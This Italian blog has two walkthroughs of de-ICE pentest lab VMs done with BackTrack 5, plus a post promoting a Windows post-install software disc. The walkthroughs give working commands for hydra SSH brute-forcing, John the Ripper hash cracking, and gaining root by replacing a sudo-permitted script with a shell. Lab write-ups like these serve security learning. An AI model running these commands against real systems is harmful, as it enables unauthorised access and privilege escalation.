Con questi tre comandi possiamo ottenere utilissime informazioni... Possiamo salvare una lista di users, e tramite geany è molto facile modificarla per semplificarla, troviamo che gli utenti webapp e jdavenport sono gli utenti administrator e possiamo trovare l'hash delle password... Tuttavia in questo caso le password non corrispondono agli utenti... Penso sia una sicurezza adottatta dal OS per aggiungere un'ulteriore difficoltà... Ma nessun problema con John The Ripper ed un paio di dizionari... Io nel video faccio un errore, perchè non riuscivo a far andare JTR, volevo provare a fargli dimenticare quegli hash e farglieli ricalcolare, ma non mi ricordavo il comando... Quindi alla fine ho fatto un semplice show, così da vedere il risultato del processo avviato in precedenza...

cd /pentest/password/john
./john --wordlist=percorso_dizionario --rules /root/Desktop/hash
./john --show /root/Desktop/hash

Ovviamente per capire tutti i comandi è bene leggere tutti i doc presenti in JTR... Io tralascio, chi vuole li impara...

Quindi non ci resta che utilizzare hydra per trovare la giusta combinazione tramite protocollo ssh... Utilizziamo un basso numero di attività parallele, sia per essere silenziosi, sia perchè altrimenti otterremmo un numero elevato di errori con la possibile conseguenza di perdere il collegamento...


hydra 192.168.1.120 ssh -L /root/Desktop/users -P /root/Desktop/password -e ns -t 8

Adesso conosciamo il reale accoppiamento fra users e passwords... Possiamo tentare ad accedere con il primo della lista, per vedere se riusciamo ad ottenere qualche informazione... In questo caso ho usato il comando sudo -l per vedere se l'utente ha qualche tipo di possibilità ad eseguire qualcosa in modalità super user... Purtroppo il primo utente non mi permette di fare molto... Ma spostandomi in etc posso visionare il file group, salto alcuni passaggi prova che nel video si vedono...

ssh aadams@192.168.1.120
cd /etc
cat group
exit

Da questo file possiamo vedere che ccoffee ha qualche tipo particolare di autorizzazione... Quindi ci colleghiamo con cccoffee... Ovviamente abbiamo le password di 45 users, e fra queste c'è quella di ccoffee...

ssh ccoffee@192.168.1.120
ls -la
cd scripts
ls
sudo -l
mv getlogs.sh getlogs.sh.old
vi getlogs.sh
Aggiungiamo il codice
:wq! per uscire
chmod +x getlogs.sh
sudo /home/ccoffee/scripts/getlogs.sh

Per imparare ad usare vi cercate con google, a me risulta ancora un po' ostico da digerire... Abbiamo in pratica modificato il file, chiedendogli di avviare una shell... E visto che possiamo eseguire questo comando da root senza conoscerne la password, possiamo diventare root molto facilmente... Nel video io avevo dimenticato di dare il comando chmod per rendere eseguibile il file, tutti gli errori che ho fatto dipendono da questo punto saltato... Dopo aver reso eseguibile il file, possiamo andare dovunque perchè root:

whoami
cd /home/jdavenport
cat company_address.txt

Abbiamo raggiunto lo scopo... Finito... Consiglio di guardare il video per meglio comprendere tutti i passaggi...

ps:thanks to redmeat_uk...

giovedì 9 giugno 2011

Windows Post-Install Wizard - vers 0.2

Ho creato personalmente questo disco, perchè credo che sia utile quando si è appena formattato un pc. Di solito si deve restare di fronte al pc a clickare numerosi accetta e leggere numerose domande. Questo disco, una volta inserito, permettere di saltare questi passaggi, perchè dopo aver scelto i programmi da installare, fa tutto in automatico.

Ecco i programmi che verranno installati automaticamente:

7zip 9.22 32 bit
7zip 9.22 64 bit
Adobe Reader X
CCleaner 3.07.1457 slim
CDBurnerXP 4.3.8.2568
Comodo V5 32 bit
Comodo V5 64 bit
Daemon Tools 4.40.2 Lite
Driver AMD Catalyst 11.5 32 bit
Driver AMD Catalyst 11.5 64 bit
Driver Nvidia 275.33 32 bit
Driver Nvidia 275.33 64 bit
Emule 0.50a
Emule Adunanza 3.16
Firefox 4.0.1
GIMP 2.6.11
Intel Chipset Installation utility 9.2.0.1030
iTunes 10.3 32 bit
iTunes 10.3 64 bit
KVirc 4.0.4
Notepad++ 5.9.1
Realtek Drivers HDA 2.61
Skype 5.3
Teracopy 2.1
Thunderbird 3.1.10
uTorrent 2.2.1
Virtualbox 4.0.8 32 bit
Virtualbox 4.0.8 64 bit
VLC 1.1.10
Windows Live Messenger e Mail
Windows Live Messenger, Mail, MovieMaker

I programmi sono solo per windows 7, ormai penso standard come sistema operativo. Alcuni sono presenti sia per la versione a 32 bit, sia per la versione a 64 bit. Quelli senza indicazione invece sono standard per entrambe le versioni. Ogni programma presenta anche una breve descrizione. Per ora è in versione 0.2, visto che i programmi presenti sono pochi, ma piano piano aumenterà questa lista.

Requisiti di sistema:
Windows 7 32 o 64 bit

Installazione:
  • 1 - Masterizzare oppure montare l'immagine virtualmente
  • 2 - Avviare il programma WPI.exe se non dovesse partire in autoplay
  • 3 - Selezionare i programmi desiderati ed opportuni per la propria versione(32 o 64 bit)
  • 4 - Cliccare "avvia installazione in altro a sinistra dentro la finestra

Link per il download:

http://www.fileserve.com/file/bW89feV
http://www.fileserve.com/file/vvCYJNy


mercoledì 8 giugno 2011

BackTrack 5 vs de-ICE 1.110



Questa volta l'esercizio mi ha portato sulla versione de-ICE 1.110... Rispetto alla precedente versione testata, questa ha ben poca differenza... Dopo aver fatto la prima, questa versione diventa molto facile da testare... A parte il comando strings, che io non conoscevo ma che si può trovare nei suggerimenti che la stessa distribuzione da, risulta molto più facile del primo episodio...

Come sempre si inizia con nmap per scoprire l'indirizzo della vittima e per verificare le porte aperte ed i servizi in ascolto:
  • nmap -sP -n 192.168.1.*
  • nmap -sS -sV -O -n 192.168.1.110

Ovviamente tralascio il significato delle opzioni, che comunque si trovano nel manuale di nmap. Possiamo tralasciare l'apertura del servizio web, in quanto le vere informazioni si trovano nella cartella download accessibile in via anonima via ftp. Infatti si può accedere al servizio con username:anonymous e password:anonymos.
  • ftp 192.168.1.110
  • user:anonymous pass:anonymous
  • ls -a
  • cd download
  • cd etc
  • get core
Infatti il file core risulta molto grande, in più potrebbe essere un dump di qualche errore di sistema... Questo potrebbe contenere informazioni utili... Dopo aver copiato il file, è possibile analizzarlo per scoprirne il contenuto... Il comando file è molto utile per scoprire le informazioni del file... Con queste informazioni si può, tramite google, scoprire che tipo di file è e come aprirlo...
  • file core
  • strings core
Nell'ultima parte del file troviamo gli hash delle password associate agli utenti... Questo ci suggerisce di avviare un attacco bruteforce su questo file. John The Ripper è ovviamente il miglior candidato per trovare le password con un attacco dizionario... Sistemiamo il file come nel video, per avere 4 righe separate e diamolo in pasto a JTR:
  • cd /pentest/password/john
  • ./john --wordlist="percorso del dizionario" --rules /root/Desktop/strings
Lasciamo procedere JTR(io ho tagliato il processo) e troviamo una password per un utente e la password di root. Possiamo fermarci qua perchè abbiamo già tutte le credenziali necessarie per accedere al sistema tramite ssh. Logghiamoci prima tramite l'utente ccoffee e poi con un semplice su diventiamo root.
  • ssh ccoffee@192.168.1.110
  • pass:Diatomaceous
  • su
  • pass:Complexity
  • cd ..
  • cd root
  • ls -a
  • cd .save
  • cat copy.sh
Mi fermo qui con i comandi. Questo file riporta tantissime informazioni al suo interno. Troviamo la cifratura utilizzata, quale file viene prodotto, e che c'è una file password, per portare al termine la decifrazione. Io ho seguito la strada per me più semplice, cioè copiare i file sul mio pc ed avviare in locale la decifratura. Ho copiato il file encodato, il file password, e la stringa di copy.sh... Nel video si vede come faccio, ognuno può seguire la via più facile per le proprie conoscenze... Alla fine ci basta aggiungere un -d dopo enc, sistemare i percorsi dei file e si ottiene il file finale...  Abbiamo così trovato il file necessario...

Importanti conoscenze contenute in questo tutorial... Mai lasciare un server ftp in mnodalità anonima, permette di accedervi, e magari caricare una shell remota che ci permette poi di scalare i privilegi... In più, mai lasciare file importanti come copy.sh dentro al server, in quanto contengono informazioni importanti per decifrare i file... Così come i file dump, dovrebbero essere esaminati e poi cancellati... Siamo riusciti ad accedere al server semplicemente con questi due piccoli errori... Da non dimenticare di spulciare per bene i server, magari contengono cartelle nascoste, come in questo caso... Un ls -a è sempre utile...

ps:thanks to g0tm1lk